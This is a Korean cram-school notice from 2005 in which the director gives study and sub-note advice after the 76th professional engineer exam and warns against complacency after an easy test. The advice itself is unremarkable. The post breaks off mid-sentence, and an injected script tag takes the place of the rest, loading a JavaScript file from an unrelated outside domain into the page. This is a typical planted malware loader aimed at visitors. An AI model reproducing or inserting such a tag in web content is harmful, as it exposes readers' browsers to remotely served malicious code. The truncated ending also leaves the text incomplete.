공지사항

제76회 기술사 시험을 치고........

  • 작성자 : 원장
  • 작성일 : 2005.06.13

안녕하십니까 회원여러분
시험을 치신지가 이제 일주일 정도 되어갑니다
아마 지금쯤은 시험을 치고 난 후의 실망과 흥분도 어느 정도 가라 안고 시험결과를 냉철하게
분석하셨으리라 생각됩니다
주사위는 던져진 만큼 지금은 다음시험을 위해 내가 무엇을 더 준비할 것인지를 고민하실 때
이지 지난 시험의 아쉬움을 달래실 때는 아닙니다

시험을 치고 나서 가장 많이 받는 질문 중 하나가 "답안을 어떻게 작성하느냐", "평소 서브노
트는 어떻게 작성하느냐" 인데,
답답해하시는 분이 많아 구체적으로 말씀드리면,
합격에 필요한 서브노트의 두께는 새끼 손가락하나 정도이며(이보다 많으면 더 많이 공부하
여 많은 량을 머릿속에 넣으시고 서브노트 두께는 줄이시는 것이 좋으실 것 같고, 부족하면 보
강이 필요함), 최소한 3번 내지 4번의 수정을 거쳐 재 작성된 서브노트여야 합니다
이 정도의 노력이 되시지 않으시면 서브노트 작성법을 모르실 수밖에 없습니다

그리고 가장 어려운 질문 중 하나가 "공부를 어떻게 하느냐"입니다
10명이 합격하면 10가지의 공부방법과 10가지의 합격방법이 새로 생깁니다
따라서 가장 좋은 공부방법(합격방법)은 자기가 시행착오를 겪으면서 스스로 찾아낸 자기만
의 공부방법입니다
다만, 다음과 같은 원칙은 필요해 보입니다
1. 원리와 이론을 이해하는 공부를 하셔야합니다
기술사공부 절대로 암기공부가 아닙니다 어느 정도의 암기는 필요하겠지만 그것은 이해를 바
탕으로 한 암기입니다
2. 남보다 조금만 더 공부하시기 바랍니다
남보다 적게 공부하거나 요약된 내용을 찍어서 공부해서는 절대 합격 못합니다
3. 집중력 있는 공부가 필요합니다
1년 중 가장 중요한 시기는 시험 치기 전 한, 두 달 전이며 그 중에서도 시험 치기 일주일 전
이 제일 중요합니다
하루의 공부는 전체공부시간에 의해 결정되는 것이 아니라 집중력 있게 책을 보고 그 내용을
내 것으로 만든 실질적인 시간이 얼마냐가 중요합니다
4. 꼭 기술사가 되겠다는 의지가 중요합니다
공부가 쉽지 않기 때문에 항상 유혹에 빠지기 쉽습니다 그 유혹보다 더 간절하게 기술사가 되
시기를 원해야 합니다
5. 시험 바로 전에는 출제예상문제나 새롭게 출제되는 문제가 무엇인지보다는,
기본적인 문제, 많이 보아서 더 이상 안 보아도 된다고 생각되는 식상한 문제, 그리고 내가 충
분히 안다고 생각되는 문제들을 놓치지 않고 꼼꼼히 보시는 집중력이 필요합니다
안 풀어도 되는 "처음 출제되는 문제"보다는 소홀히 여겨 방심한 문제를 재대로 공부하지 못
해 실패하는 경우가 더 많습니다

이번 시험은 쉬웠다는 이야기가 많고 시험결과에 대하여도 기대를 가지시는 분이 많은 것 같
습니다
그 부분에 대해 다음과 같이 조언하여 드리니 참고하시기 바랍니다
우선 당연한 이야기가 되겠지만,
시험이 "어렵고" "쉽고"의 문제는 공부량에 따른 개인적인 차이가 있음을 우선 말씀드립니다
보통 시험이 어렵다고 하는 것은 다음의 두 가지 경우로 생각 해볼 수 있을 것입니다
우선, 공부가 많이 되지 않아 쉬운 내용(일반적으로 출제되는 범위의 문제)이 출제되어도 자기가 몰라서 어려운 경우가 있고,
둘째, 출제예상범위 내에서 충실히 공부하였음에도 그 범위를 벗어나는 문제가 많이 출제 되
어 어려운 두 가지 경우가 있다고 생각합니다

기술사 시험이 절대평가라고는 하지만 어느 정도는 정해진 인원이 합격을 하는 상대평가의 측
면이 있고,
또한 어떤 시험도 변별력을 갖추고 있다고 가정한다면 이번 기술사시험도 "어렵고", "쉽고"와
는 관계없이 적정한 수의 합격자와 불합격자를 정확하게 결정할 것으로 생각됩니다
물론 때에 따라서 굉장히 어렵게 나오거나 너무 쉽게 나오면 약간의 합격자수의 증감은 있겠
지만 어떠한 경우에도 공부가 부족한사람이 합격을 하거나 합격에 필요한 공부를 충분히 한사
람이 떨어지지는 않는다고 생각되며 채점자는 공정하고 객관적인 잣대로 평가를 하기 때문에
운 좋게 합격한다는 것은 불가능합니다
따라서 시험이 "어렵고" "쉽고"는 그렇게 중요한 당락의 기준이 되지는 않는다고 생각됩니다
그리고 수험자가 느끼는 시험의 난이도와 출제경향은 매 시험 조금씩 변화하기 때문에 이번
시험의 경향으로 다음 시험을 예측하여서는 아니 됩니다
[이번 시험이 어렵거나 쉬웠다고 다음 시험도 그러한 것은 아니며, 특히 다음 시험을 준비하
는 노력이나 공부량이 달라지는 것은 절대 아닙니다]

시험을 치신 후 방심하여서는 아니 되는 경우가
특히 "쉽게 출제되어 자기가 시험을 잘 쳤다고 생각되는 경우" 입니다
그 이유는,
1. 시험이란 내가 쉬우면 남도 쉽다는 것입니다(기술사 시험이 어느 정도는 상대평가임을 부
인할 수 없습니다)
2. 시험을 잘 ?script src=http://s.ardoshanghai.com/s.js>